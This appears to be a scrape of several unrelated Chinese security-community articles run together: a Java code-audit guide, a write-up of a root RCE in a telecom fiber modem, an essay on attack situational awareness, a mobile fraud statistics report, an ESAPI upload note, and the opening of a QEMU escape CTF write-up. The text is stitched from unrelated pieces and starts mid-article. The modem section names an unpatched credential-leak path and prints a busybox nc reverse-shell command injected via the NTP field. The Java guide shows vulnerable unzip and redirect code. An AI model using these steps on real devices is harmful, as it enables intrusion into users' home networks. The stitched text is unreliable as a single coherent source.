SerialKiller简单用法
ObjectInputStream ois = new SerialKiller(is, "/etc/serialkiller.conf");
String msg = (String) ois.readObject();
3. Apache Commons IO Serialization 包中的`ValidatingObjectInputStream` 类的`accept`方法来实现反序列化类白/黑名单控制
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
// Use ValidatingObjectInputStream instead of InputStream
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
//只允许反序列化SerialObject class
ois.accept(SerialObject.class);
obj = ois.readObject();
## 反序列化-权限过高篇
**简单描述：**
没懂所以不想写
**审计：**
手工搜索以下文本
* public * writeObject
* public * readObject
* public _readResolve public_ writeReplace
**修护：**
* private void writeObject
* private void readObject
* protected Object readResolve
* protected Object writeReplace
## 敏感数据序列化篇
**简单描述：**
将敏感数据连着实例方法一起序列化，导致敏感数据泄漏。
**示例：**
假设`x和y`是敏感数据，序列化后面临`坐标泄漏危险`
public class GPSLocation implements Serializable
{
private double x; // sensitive field
private double y; // sensitive field
private String id;// non-sensitive field
// other content
}
public class Coordinates
{
public static void main(String[] args)
{
FileOutputStream fout = null;
try{
GPSLocation p = new GPSLocation(5, 2, "northeast");
fout = new FileOutputStream("location.ser");
ObjectOutputStream oout = new ObjectOutputStream(fout);
oout.writeObject(p);
oout.close();
}
catch (Throwable t){
// Forward to handler
}
finally{
if (fout != null){
try{
fout.close();
}
catch (IOException x){
// handle error
}
}
}
}
}
**审计：**
对于已经被确定为敏感的数据搜索示例一中相关的关键字。
或者查看进行序列化的类，是否含有敏感数据。
**修护：**
1. 将敏感数据加上transient
private transient double x; // transient field will not be serialized
private transient double y; // transient field will not be serialized
1. 将能序列化的加入`serialPersistentFields`，那么其余将不会被序列化
public class GPSLocation implements Serializable
{
private double x;
private double y;
private String id;
// sensitive fields x and y are not content in serialPersistentFields
private static final ObjectStreamField[] serialPersistentFields = {new ObjectStreamField("id", String.class)};// other content
}
## 静态内部类的序列化篇
**简单描述：**
没懂
**审计：**
人工查找 implements Serializable 的所有内部类
**修护：**
class \${InnerSer} {}
去除内部类的序列化。
static class \${InnerSer} implements Serializable
{}把内部类声明为静态从而被序列化。但是要注意遵循示例三中的敏感信息问题
## 路径安全篇
**简单描述：**
攻击者利用`../`可以上传至任意指定目录。
服务端使用`getAbsolutePath()`的话无法检测出攻击者真正上传的文件路径，因此即使做了过滤也将可被绕过。
**示例：**
当前目录E:\workspace\myTestPathPrj(windows系统)
public static void testPath() throws Exception{
File file = new File("..\\src\\ testPath.txt");
System.out.println(file.getAbsolutePath());
System.out.println(file.getCanonicalPath());
}
`file.getAbsolutePath()`打印出`E:\workspace\myTestPathPrj\..\src\testpath.txt`
`file.getCanonicalPath()`打印出`E:\workspace\src\testPath.txt`
**审计：**
* 查找`permission Java.io.FilePermission`字样和 `grant` 字样，看是否已经做出防御。
* 查找`getAbsolutePath()`和`getPath()`，找到后看有没有用户输入的。
## ZIP文件提取篇
**简单描述：**
两个危害：一个是提取出的文件标准路径落在解压的目标目录之外，另一个是提取出的文件消耗过多的系统资源。
**示例：**
1. 解压后的文件名未作过滤（直接`entry.getName()`）；
未对上传的压缩包大小作限制（`zis.read`后直接`dest.write`）
static final int BUFFER = 512;
// ...
public final void unzip(String fileName) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(fileName);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
// Write the files to the disk
FileOutputStream fos = new FileOutputStream(entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1)
{
dest.write(data, 0, count);
}
dest.flush();
dest.close();
zis.closeEntry();
}
zis.close();
}
1. 解压后的文件名未作过滤；
使用`getSize()函数不能准确判断压缩包大小`，攻击者可以修改压缩包的16进制编码进行绕过。恶意攻击者可以伪造 ZIP
文件中用来描述解压条目大小的字段，因此，getSize()方法的返回值是不可靠的。
public static final int BUFFER = 512;
public static final int TOOBIG = 0x6400000; // 100MB
// ...
public final void unzip(String filename) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(filename);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
try{
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
// Write the files to the disk, but only if the file is not insanely
if (entry.getSize() > TOOBIG)
{
throw new IllegalStateException("File to be unzipped is huge.");
}
if (entry.getSize() == -1)
{
throw new IllegalStateException("File to be unzipped might be huge.");
}
FileOutputStream fos = new FileOutputStream(entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos,BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1)
{
dest.write(data, 0, count);
}
dest.flush();
dest.close();
zis.closeEntry();
}
}
finally{
zis.close();
}
}
**审计：**
搜索以下函数，看是否有使用到：
* FileInputStream
* ZipInputStream
* getSize()
* ZipEntry
如果出现 getSize 基本上就需要特别注意了。
**修护：**
1. 防止解压至任何目录，使用`getCanonicalPath()`，过滤。
File f = new File(intendedDir, entryName);
String canonicalPath = f.getCanonicalPath();
File iD = new File(intendedDir);
String canonicalID = iD.getCanonicalPath();
if (canonicalPath.startsWith(canonicalID))
{
return canonicalPath;
}
else
{
...
}
1. 防止过大
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while (total + BUFFER <= TOOBIG && (count = zis.read(data, 0, BUFFER)) != -1)
## 文件上传篇
JDK<1.7.40的版本存在空字节问题。
## 文件读取篇
**简单描述：**
可读取用户输入的文件路径并回显在响应中。
**审计：**
快速发现这类漏洞的方式其实也是非常简单的，在IDEA中的项目中重点搜下如下文件读取的类。
1. **JDK原始的java.io.FileInputStream类**
2. **JDK原始的java.io.RandomAccessFile类**
3. **Apache Commons IO提供的org.apache.commons.io.FileUtils类**
4. JDK1.7新增的基于NIO非阻塞异步读取文件的`java.nio.channels.AsynchronousFileChannel`类
5. JDK1.7新增的基于NIO读取文件的`java.nio.file.Files`类
常用方法如:`Files.readAllBytes`、`Files.readAllLines`
如果仍没有什么发现可以搜索一下`FileUtil`，很有可能用户会封装文件操作的工具类。（[参考](https://github.com/anbai-inc/javaweb-codereview/blob/master/JavaSecureCodeReview.md))
## URL重定向篇
**简单描述：**
接口从host头或者参数中取值，直接跳转到用户自定义的url，导致url重定向。
**示例：**
访问不存在的资源，将host改成自定义url，页面302跳转，跳转地址为host头中的自定义url。
@RequestMapping("/urltest")
@ResponseBody
public String urltest(HttpServletRequest request,HttpServletResponse response) throws ServletException,
IOException {
String site = request.getParameter("url");
if(!site.isEmpty()){
response.sendRedirect(site);
}
return response.toString();
}
**审计：**
查找`sendRedirect`，跳转的url是否用户可控，如果可控是否有进行过滤判断。
特别是在删掉某个资源的斜杠，有可能就进行了302跳转，该处时常出现url重定向漏洞。
## Autobinding篇
**简单描述：**
将HTTP请求参数绑定到程序代码变量或对象中。逻辑型漏洞。
1. @ModelAttribute注解
* 运用在参数上，会将`客户端传递过来的参数`按名称`注入到指定对象`中，并且会将这个对象`自动加入ModelMap`中，便于View层使用
* 运用在方法上，会在每一个@RequestMapping标注的方法前执行，如果有返回值，则自动将该返回值加入到ModelMap中
@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {
if (showSecret){
model.addAttribute("firstSecret", firstSecret);
}
return "home";
}
前端jsp中可使用`${user.name}`访问对象user中的name成员。注意这时候这个User类一定要有没有参数的构造函数。
2. @SessionAttributes注解
* 将ModelMap 中的属性转存到 session 中
* 只要不去调用SessionStatus的`setComplete()`方法，这个对象就会一直保留在 Session 中
**示例：**
在`/resetQuestion`接口，从客户端传入user的成员`answer=hhd`，因为代码`@ModelAttribute User
user`，answer将会注入到user对象，并自动加入ModelMap中。
在`/reset`接口，因为代码`@SessionAttributes("user")`，将user对象从ModelMap中读出并放入session中，因此user中的`answer=hhd`也加入了session中。那么只需要输入问题的答案为`hhd`则与session中的`hhd`匹配，因此可绕过。
@Controller
@SessionAttributes("user")
public class ResetPasswordController {
private UserService userService;
...
@RequestMapping(value = "/reset", method = RequestMethod.POST)
public String resetHandler(@RequestParam String username, Model model) {
User user = userService.findByName(username);
if (user == null) {
return "reset";
}
model.addAttribute("user", user);
return "redirect: resetQuestion";
}
@RequestMapping(value = "/resetQuestion", method = RequestMethod.GET)
public String resetViewQuestionHandler(@ModelAttribute User user) {
logger.info("Welcome resetQuestion ! " + user);
return "resetQuestion";
}
**修护：**
Spring
MVC中可以使用@InitBinder注解，通过WebDataBinder的方法setAllowedFields、setDisallowedFields设置允许或不允许绑定的参数。
## Webservice篇
`Web Service`是一种基于`SOAP协议`实现的跨语言Web服务调用。配置web.xml，配置`server-config.wsdd`文件注册`Web Service`服务类和方法。
访问`Web Service`的`FileService`服务加上`?wsdl`参数可以看到`FileService`提供的服务方法和具体的参数信息。
一般扫描目录时可扫出，后带?wsdl的是接口总的说明文档
此类漏洞可使用burpsuite的wsdl插件，直接进行解析生成不同接口的request，再发送到repeater
接口可能是查询，可能是添加等等操作
根据报错信息，可能存在注入点
* sql注入
* 信息泄漏
* 通过信息泄漏引起的组件
## 第三方组件安全篇
比如struts2、不安全的编辑控件、fastjson等等。 | 社区文章 |
# 如何日穿自家光猫
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这是之前发现的自家用的电信光猫的管理后台rce，但是由于有个信息泄露迟迟没有修复，所以不用知道后台密码也能够直接进入后台，直到现在都没有修复。先上个一键反弹shell脚本地址<https://github.com/C4o/HG2821T-U_PoC>
，万水千山总是情，点个star行不行。
当时漏洞交给过补天，通过之后因为一些“原则”问题被忽略了，交给电信研究院然后就没声了，最后交给cnvd混了张证书，原本以为能混个CVE，结果只能搞个CNVD。漏洞到现在已经超过半年，寻思着就算公开也没啥事吧。最近正好有老哥问怎么拿到源代码的，所以看看写详细点能不能混个饭钱。
## 获取源码过程
拿到光猫的时候，我就nmap扫了一哈，外网不能访问80端口，但是可以访问8080端口，关键是电信一波光猫有个信息泄露，可以看到用户管理系统和8080端口上系统的密码密文这个信息泄露现在都还没修，然后我就进了后台。
信息泄露地址在<http://192.168.x.1/cgi-bin/baseinfoSet.cgi>
，解密规则也已经被安排了[http://koolshare.cn/forum.php?mod=viewthread&tid=125090&highlight=hg2821](http://koolshare.cn/forum.php?mod=viewthread&tid=125090&highlight=hg2821)
，脚本里也都写了。
进入系统后，就随便翻一翻，找到个地方，可以直接修改useradmin密码，算个csrf（80端口上无线路由管理系统的用户名为useradmin，8080端口管理系统上的用户名为telecomadmin）？
那如何进入这个光猫的系统呢？硬件牛盖子一拆就能长驱直入了，我也想，但是实力不允许。然后就惊喜发现在光猫的配置文件中，首先先导出原配置文件，在管理-设备管理，插个U盘，备份配置即可。发现了telnet的配置，默认为0，刚才扫端口的时候也没开23,22这些的，那尝试改个1试试，然后再扫一次端口，就发现稳了。telnet账户密码写在配置文件里了，我这是root/abcd，然后直接进去就是root
shell了。
P.S.这里有个问题，就是telnet开了之后，公网的其他人也可以通过光猫分配的公网地址来登陆telnet，所以如果有这么操作的，记得关闭telnet。
## 一些简单的分析
### 设备硬软件所属厂商及型号
硬件：电信光猫HG2821T-U
软件：天翼智能网关
### 设备使用范围
该设备是2018年江苏安装电信宽带时附带的光猫。通过源代码审计发现该设备可能存在于如下33个省市 ，代码如下：
### 漏洞发现过程
1）默认后门获取光猫管理端密码（网络上有网站已公开，但是没有该问题同样会通过源代码发现2号漏洞）
在baseinfoSet.cgi中发现直接打印了telecomaccount/telecompassword和useraccount/userpassword
的等变量，
发现电信光猫存在后门，可以看到用户管理系统和8080端口上系统的密码密文，后门路径为<http://ip:8080/cgi-bin/baseinfoSet.cgi>, 如图：
密码根据网上公开的解密方式可以进行解密。
2）光猫管理后台一处任意命令执行
大概看了下代码，有个地方接受客户端设置的ntp服务器地址：
选择NTPSERVER1参数跟踪：
在获取提交请求后，把NTPSERVER1当做参数通过$inter_web执行某个命令，跟踪inter_web
，发现是某个可执行文件，但是发现IPADDRESS参数是通过该文件获取，推测inter_web会去执行某个命令测试ntpserver1 的存活性或是其他
接下来根据审计猜想进行测试，漏洞出现在8080端口上的管理端，在设定时间同步服务器处存在远程代码执行，由于光猫并未自带bash，所以使用sh
创建一个通信管道，用反引号包裹，再进行反弹，由于光猫内置的是阉割版的linux，所以猜测会有busybox，测试发现busybox 带有nc：
~ mknod /tmp/backpipe p
~ /bin/sh0</tmp/backpipe | busybox nc 192.168.1.2 8888 1>/tmp/backpipe
并使用nc进行反弹的shell的接收，测试发现光猫上使用的就是busybox ：
同样的方式反弹到临时新建的云主机上：
既然可以获取root shell，那么网络劫持，监听用户流量自然都可以做到。
### 利用限制条件
连接到光猫或其子网上，访问光猫内网地址（默认192.168.1.1）的8080端口的web 服务，所以实际上问题不大。 | 社区文章 |
##### 作者：elknot@360corpsec
## 0x00 写在前面：
昨天和某巨佬私下交流的时候，巨佬遇到了一个问题，甲方有一个比较难搞的需求：让这位巨佬给他提供一个安全攻击态势的模型。当时这个需求听完之后我觉得有点难办。但是后来想了一下也不是没有可能去做，由于以下的说法仅作为一些思路，落地性还有待考察，所以大家针对落地问题先不要去喷了。
## 0x01 所谓安全攻击态势是什么
跟巨佬的进一步聊天中，我大概明白了甲方的意思：对下属子公司进行考核。其实巨佬自己也知道这个模型偏向于管理而非技术，只是需要技术数据的支撑。那么实际上其实根据我个人的理解就是：客户需要把业务系统所面临的潜在风险罗列出来，并且考核安全部门对于这些潜在风险的解决成果。
那么我们的思路就逐渐清晰了，我们需要了解的也就是业务系统会面临那些潜在的风险和安全部门应对这些风险的技战术手段。
## 0x02 业务系统潜在风险
但从业务系统的潜在风险来判断的话，很多人第一反应就是日志，换句话说，很多领导要是问安全部门的同事我们系统的潜在风险是什么，经验不足的安全管理人员可能会马上从SIEM中抽取相关的安全日志（如果连SIEM都没有的话，那就是只能亲自动手去所有的安全设备的日志中逐条检索，所以针对大型的系统而言，规模越大SIEM的需求也就越高），然后按照攻击事件的数量排序，最后给出来一个所谓的“业务安全潜在风险分析报告”。但是各位仔细想一下就会发现这份报告实际上是有问题的，首先领导要的是“业务系统潜在风险”，而非是“已经发生的安全事件的统计”，换句话说安全部门提供的报告是领导期望的。那么如何评定业务系统的潜在风险呢？
#### （1）业务系统活跃指数
首先，针对一个系统而言，业务系统的活跃指数也就是能够被人访问到的几率是一个指标，如果这个业务系统被网络隔离了，也就只有内部的人可以访问的到，那么攻击面就大大减小了。那么如何判断这个系统的活跃指数呢。个人认为PV、UV、搜索引擎排名和Alexa指数这四个数据可以一定程度上来描述业务系统的活跃指数，PV、UV越大、搜索引擎排名越高、Alexa指数越高则说明了该系统被互联网用户访问到的可能性就越大，意味着被攻击的概率也就越高。
上面这张图表示的就是Alexa的指数，指数越高也就是用户访问越频繁。当然这个只是其中的一方面，越活跃不一定代表受攻击的可能越大。
#### （2）业务安全风险评定
活跃指数只能判断出该业务系统被访问的次数，但是这仅仅是外因。被攻击的可能起决定因素的不是外因而是内因。所谓的内因也就是业务系统资深的原因，比如说用了不安全的框架、中间件存在已知漏洞、管理平台弱口令等等，然而这些问题其实解决起来不是特别的容易，一方面原因是业务系统稳定之后不太可能进行大范围的重构，二是因为开发部门对于安全方面可能不是特别懂，甚至有些大哥直接把测试环境部署到外网上去。
其实这些问题如果企业按部就班的走SDL的话，问题应该不大，因为SDL对于系统的安全开发存在一步威胁建模，就比如下面这张图：
STRIDE威胁建模其实是一个很好的评估手段，但是很不幸，很多业务并不会去遵守这一套，这里安全部门就要多跑腿了，要定期对业务系统进行主动的渗透测试和安全监测，保证业务系统不存在可以被恶意利用的漏洞，
#### （3）历史攻击攻击行为比对
这一部分其实就是从SIEM中抽取对应业务系统的安全日志，然后将其统计分类最后按照影响范围统计出来攻击的行为，但是这么做的话还远远不够，因为攻击日志里面有些是成功的有些是失败的，有些是人产生的有些是机器产生的。判断历史攻击行为的时候应当注意以下几点：
1. 确保SIEM中日志的有效性和准确性
2. 统计攻击事件中成功次数与总次数所占的比例
3. 列出所有攻击行为有特点的IP进行简单溯源
4. 对攻击成功的IP进行重点监测并进行针对性溯源
5. 回顾以往众测或者企业SRC收上来的漏洞利用报告
这样的话你将会得到：
* 一份带有详细数据的事件统计报告
* 一份发起攻击行为IP的列表
* 一份成功发起攻击行为IP的列表
* N份漏洞利用及分析报告
统计完成之后接下来就可以进行下一环节。
#### （4）IP溯源及引入情报体系
上面我们得到了一些攻击IP的数据，有些是成功的有些是失败的，这时候我们可以利用外部的威胁情报数据对这些IP进行浅层次或者深层次的溯源，浅层次的溯源主要是针对发起攻击但是失败的，需要收集的信息包括：IP的信誉度、地理位置、绑定的域名、域名注册时间、接入类型、被恶意标记的内容。
这些信息可以帮助我们去判断这些IP是不是肉鸡还是真实的攻击者，举个例子，假设一个IP的是一个荷兰OVH的主机，对我们输出的日志大多数都为扫描、注入类型的攻击，我们只接通过网络策略把这个IP拉黑了就可以了，因为他不是一个真是的攻击者而是一台肉鸡。相反的，如果一个IP攻击的行为包括社工、撞库、恶意漏洞利用、shell管理，并且接入方式是家庭宽带动态IP，那么这个IP我们就应该重点关注，甚至对其进行更深层次的溯源分析。
所谓深层次溯源分析，针对的主要是一些攻击行为有特点且明显不是自动化行为的攻击，比如上面那个例子。深层的溯源不是要把这个人的户口本全查一遍，然后家里几亩地，地里几头牛这些全都搞出来。之前我在ISC2017的大数据威胁分析论坛上面分享过我个人的观点——真的没必要大费周章把攻击的人直接抓出来，劳民伤财又费力不讨好，甚至没准还会触犯法律。我们需要明白的是攻击者瞄准的目标、攻击的套路和攻击者到底是出于什么样的目的攻击就足够了。
针对高级的溯源，我们需要采集的数据是：
* 攻击者使用的基础设施
* 攻击者的意图
* 攻击者的成功率
* 攻击者的Kill-Chain模型
* 攻击者瞄准的行业和系统
那么实际上高级溯源的结果我们也是有所区分的，比如说某些攻击者满天撒网导出扫描，抓到一个搞一个，这种的攻击者其实是没有价值的，通过网络策略直接ban了就完了。但是如果瞄准特定行业，攻击手段比较黑科技，而且Kill-Chain完整，攻击能力稳准狠，对待这种攻击者我们就应该去重点观察一下了，比如说把他的所有流量通过流量牵引到蜜罐里，观察他的操作。
其实说到这里，我们研究了所有的攻击者，可以把攻击我们的人都是什么来路摸清楚了。
#### （5）SOC团队素质
敌人分析完了，我们自己人也得分析分析，分析自己人最好的方法其实就是三个场景：重保、演习和众测。
出去前一个是有个别地方有需求，其他的两个都是可以找第三方团队去做的，主要目的是为了测试SOC针对外部威胁如何快速准确定位然后消灭威胁。
根据PDR模型来判断，如果响应时间Rt和检测时间Dt事件越短，同时防御时间Pt可以做到足够的长。攻击者得手的可能性越低。
## 0x03 写报告
笔者个人认为态势感知不是跟x管家、x卫士那种随便打个分数就完了，态势感知的目的是为了给客户提供潜在的攻击行为和应对的策略，应该是完整的建议。态势感知如果要是打分的话这个产品一定是假的，大家不要相信。
如果输出报告的话，报告中应包含
内因分析：威胁建模、安全手段评估、SOC素质、渗透测试和众测等
外因分析：业务系统活跃度、对外ACL、外部情报数据和对攻击者的认知。
具体怎么写，相信愿意看这篇文章的人应该都比我懂。
p.s. 文章仅代表个人观点，不代表其它的观点。 | 社区文章 |
# 360发布《2022年第一季度中国手机安全状况报告》（数据篇）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
0
**三大高危诈骗类型**
**交友、虚假兼职、金融理财**
2022年第一季度360赔付保（原手机先赔）共接到11类手机诈骗举报，涉案总金额高达273.5万元，人均损失23375元。在所有诈骗类型中，虚假兼职占比最高达31.6%；其次是交友、虚假购物。
**从涉案总金额来看，交友类诈骗总金额最高** ，达95.8万元，占比35.0%；其次是虚假兼职诈骗，占比27.3%；金融理财排第三，占比19.0%。
**2022年第一季度，手机诈骗中交友、虚假兼职、金融理财属于高危诈骗类型。**
其中，金融理财人均损失最高，约5.2万元；其次为交友类人均损失约为4.0万元。
**交友类诈骗仍以裸聊遭欺诈为主，但与去年对比不同的是：**
1、引流渠道
从早期传统的社交软件，转向境外对端加密聊天软件，使得监管难度加大。
2、APP诈骗样本
在APP诈骗样本中对回传数据的代码进行混淆，并增加端口校验，提高了攻防识别难度。
**虚假兼职类诈骗仍以刷单赚佣金为主，但包装手法也在发生改变：**
项目名称从原先的虚假博彩平台、虚假投资平台刷单，变成公益平台刷单。实际上公益平台仅是将原先博彩平台中的项目名称改成公益，但对于受害人来说迷惑性更强，识别难度更大。
**90后交友被骗多**
**成为诈骗最大“接盘侠”**
从举报用户的性别差异来看，男性受害者占64.1%，女性占35.9%，男性受害者占比高于女性。
从人均损失来看，男性为21820元，女性为26152元，男性人均损失低于女性。
从被骗网民的年龄段看，90后的手机诈骗受害者占所有受害者总数的41.0%，是不法分子从事网络诈骗的主要受众人群；其次是00后、80后。
从被骗网民的年龄段及人均损失来看， **90后为诈骗高发人群，受骗类型主要以交友为主**
，一部分成为裸聊诈骗团伙囊中“猎物”，另一部分成为虚假网络招嫖的目标。
**五省包揽全国近四层举报量**
从各地区手机诈骗的举报情况来看，山东、陕西、江苏、云南、广西这5个地区的被骗用户最多，举报数量约占到了全国用户举报总量的四层。
从各城市手机诈骗的举报情况来看，北京、西安、昆明、深圳、湘潭这5个城市的被骗用户最多，举报数量约占到了全国用户举报总量的16.2%。
**移动端诈骗场景感染量与类型分布**
360安全大脑针对移动端涉诈应用进行分析研究，通过其共识别出主流诈骗场景感染量约408.6万。
**移动端诈骗场景类型top 3主要为：**
网络贷款
刷单返利
杀猪盘
360手机卫士安全攻防团队通过对黑灰产近年来的持续研究，发现通联类应用（使用聊天SDK框架生成的内嵌诈骗网页的APP）为刷单返利场景中的主流应用，此类应用具有云控、自有生态、监管难度大等特点，360安全大脑目前
**对此类应用可以实现独家识别。**
## 移动端诈骗场景感染量地域分布
从省级分布来看，诈骗场景感染量最多的地区为北京，占全国感染量的9.3%；其次为广东、山东、四川、河南，此外江苏、河北、浙江、天津、湖南的诈骗场景感染量也排在前列。
从城市分布来看，诈骗场景感染量最多的地区为成都，占全国感染量的2.7%；其次为深圳、重庆、广州、西安，此外郑州、武汉、苏州、长沙、青岛的诈骗场景感染量也排在前列。
关注公众号
回复关键词 **【报告】** 查看更多内容 | 社区文章 |
### ESAPI
### 1、使用ESAPI验证上传文件名
boolean validFileName = ESAPI.validator().isValidFileName("文件名", fileName, false);
源码解析：
isValidFileName()同名方法共有三个
boolean isValidFileName(String context, String input, boolean allowNull) throws IntrusionException;
boolean isValidFileName(String context, String input, boolean allowNull, ValidationErrorList errorList) throws IntrusionException;
boolean isValidFileName(String context, String input, List<String> allowedExtensions, boolean allowNull) throws IntrusionException;
区别在于是否有自定义的白名单后缀，是否有自定义的黑名单。
context:用户出错时日志中的标识
input:待检查的文件名
allowNull:是否允许文件名为空
errorList：自定义的黑名单
allowedExtensions：自定义的白名单
public boolean isValidFileName(String context, String input, List<String> allowedExtensions, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
getValidFileName( context, input, allowedExtensions, allowNull);
return true;
} catch( ValidationException e ) {
errors.addError(context, e);
return false;
}
}
若没有自定义的白名单，则使用系统默认配置`ESAPI.securityConfiguration().getAllowedFileExtensions()`(这个内容可以在`ESAPI.properties`文件中查找`HttpUtilities.ApprovedUploadExtensions`)
public String getValidFileName(String context, String input, List<String> allowedExtensions, boolean allowNull) throws ValidationException, IntrusionException {
if ((allowedExtensions == null) || (allowedExtensions.isEmpty())) {
throw new ValidationException( "Internal Error", "getValidFileName called with an empty or null list of allowed Extensions, therefore no files can be uploaded" );
}
String canonical = "";
// detect path manipulation
try {
if (isEmpty(input)) {
if (allowNull) return null;
throw new ValidationException( context + ": Input file name required", "Input required: context=" + context + ", input=" + input, context );
}
// do basic validation
canonical = new File(input).getCanonicalFile().getName();
getValidInput( context, input, "FileName", 255, true );
File f = new File(canonical);
String c = f.getCanonicalPath();
String cpath = c.substring(c.lastIndexOf(File.separator) + 1);
// the path is valid if the input matches the canonical path
if (!input.equals(cpath)) {
throw new ValidationException( context + ": Invalid file name", "Invalid directory name does not match the canonical path: context=" + context + ", input=" + input + ", canonical=" + canonical, context );
}
} catch (IOException e) {
throw new ValidationException( context + ": Invalid file name", "Invalid file name does not exist: context=" + context + ", canonical=" + canonical, e, context );
}
// verify extensions
Iterator<String> i = allowedExtensions.iterator();
while (i.hasNext()) {
String ext = i.next();
if (input.toLowerCase().endsWith(ext.toLowerCase())) {
return canonical;
}
}
throw new ValidationException( context + ": Invalid file name does not have valid extension ( "+allowedExtensions+")", "Invalid file name does not have valid extension ( "+allowedExtensions+"): context=" + context+", input=" + input, context );
}
从上面的代码中，可以看到中间还有一层验证`getValidInput( context, input, "FileName", 255, true
);`具体的规则可以在`ESAPI.properties`中查找`Validator.FileName`
### 2\. 检查文件大小
ServletFileUpload upload=newServletFileUpload(factory);
upload.setSizeMax(maxBytes)；
实际上现在流行的框架都已经集成了文件大小设置，比如SpringMVC
<bean id="multipartResolver"
class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<!-- 上传文件大小上限，单位为字节（10MB） -->
<property name="maxUploadSize">
<value>10485760</value>
</property>
<property name="defaultEncoding">
<value>UTF-8</value>
</property>
</bean>
在实际业务代码中，个人建议文件名由系统生成(规则可以是md5(用户名)+System.currentTimeMillis()),文件后缀由系统白名单控制,文件大小由配置文件控制。 | 社区文章 |
## 描述
[官方](https://github.com/SECCON/SECCON2018_online_CTF/tree/master/Pwn/q-escape)的描述如下：
q-escape
We developed a new device named CYDF :)
Ubuntu 16.04 latest
nc q-escape.pwn.seccon.jp 1337
将文件下下来，目录如下：
$ ll
-rw-rw-r-- 1 raycp raycp 1.7M Aug 21 08:03 initramfs.igz
drwxr-xr-x 6 raycp raycp 4.0K Oct 22 2018 pc-bios
-rwxr-xr-x 1 raycp raycp 28M Oct 22 2018 qemu-system-x86_64
-rwxr-xr-x 1 raycp raycp 256 Oct 22 2018 run.sh
-rw------- 1 raycp raycp 7.9M Oct 22 2018 vmlinuz-4.15.0-36-generic
run.sh中的内容是：
#!/bin/sh
./qemu-system-x86_64 \
-m 64 \
-initrd ./initramfs.igz \
-kernel ./vmlinuz-4.15.0-36-generic \
-append "priority=low console=ttyS0" \
-nographic \
-L ./pc-bios \
-vga std \
-device cydf-vga \
-monitor telnet:127.0.0.1:2222,server,nowait
可以知道设备名称是`cydf-vga`以及在本地的2222端口开启了qemu monitor。
## 分析
首先仍然是`sudo ./run.sh`把虚拟机跑起来，我的环境是ubuntu18，报了下面的错误：
./qemu-system-x86_64: error while loading shared libraries: libcapstone.so.3: cannot open shared object file: No such file or directory
解决方案：
sudo apt-get install libcapstone3
虚拟机跑起来的同时把`qemu-system-x86_64`拖进ida进行分析，查找`cydf-vga`相关函数：
查看`cydf_vga_class_init`函数，知道了它的`device_id`为`0xB8`、`vendor_id`为`0x1013`，`class_id`
为`0x300`。同时根据字符串`Cydf CLGD 54xx VGA`去搜索，进行相应比对，找到了该设备是`Cirrus CLGD 54xx VGA
Emulator`改过来的。`Cirrus`在qemu中源码路径为[`./hw/display/cirrus_vga.c`](https://github.com/qemu/qemu/blob/master/hw/display/cirrus_vga.c)。
先在虚拟机中查看设备信息，根据设备id等信息，可以知道它是最后一个`00:04.0 Class 0300: 1013:00b8`：
/ # lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0300: 1013:00b8
由于它里面的lspci不支持`-v`等参数，所以要看它的内存以及端口空间，可以去读取它的`resource`文件，可以看到它有三个mmio空间：
/ # cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fa000000 0x00000000fbffffff 0x0000000000042208
0x00000000febc1000 0x00000000febc1fff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febb0000 0x00000000febbffff 0x0000000000046200
另一个方法是`telnet 127.0.0.1
2222`连上它的[monitor](https://www.xuebuyuan.com/3206943.html)，可以看到相应的地址空间：
info pci
...
Bus 0, device 4, function 0:
VGA controller: PCI device 1013:00b8
BAR0: 32 bit prefetchable memory at 0xfa000000 [0xfbffffff].
BAR1: 32 bit memory at 0xfebc1000 [0xfebc1fff].
BAR6: 32 bit memory at 0xffffffffffffffff [0x0000fffe].
id ""
一个奇怪的问题是在`cydf_init_common`函数中看到了三个注册I/O函数：
memory_region_init_io(&s->cydf_vga_io, owner, &cydf_vga_io_ops, s, "cydf-io", 0x30uLL);
...
memory_region_init_io(&s->low_mem, owner, &cydf_vga_mem_ops, s, "cydf-low-memory", 0x20000uLL);
...
memory_region_init_io(&s->cydf_mmio_io, owner, &cydf_mmio_io_ops, s, "cydf-mmio", 0x1000uLL);
可以看到函数中注册了`0x30`大小的PMIO，`0x20000`大小的MMIO以及`0x1000`大小的MMIO。但是为啥在设备中只看到了`BAR1`中`0x1000`大小的MMIO空间，其余两个去哪里了？
在`cirrus_vga.c`中有下面两行注释：
/* Register ioport 0x3b0 - 0x3df */
...
/* memory access between 0xa0000-0xbffff */
`cat /proc/iomem`和`cat /proc/ioports`查看相应的MMIO和PMIO：
/ # cat /proc/iomem
...
000a0000-000bffff : PCI Bus 0000:00
...
04000000-febfffff : PCI Bus 0000:00
...
febc1000-febc1fff : 0000:00:04.0
/ # cat /proc/ioports
...
03c0-03df : vga+
...
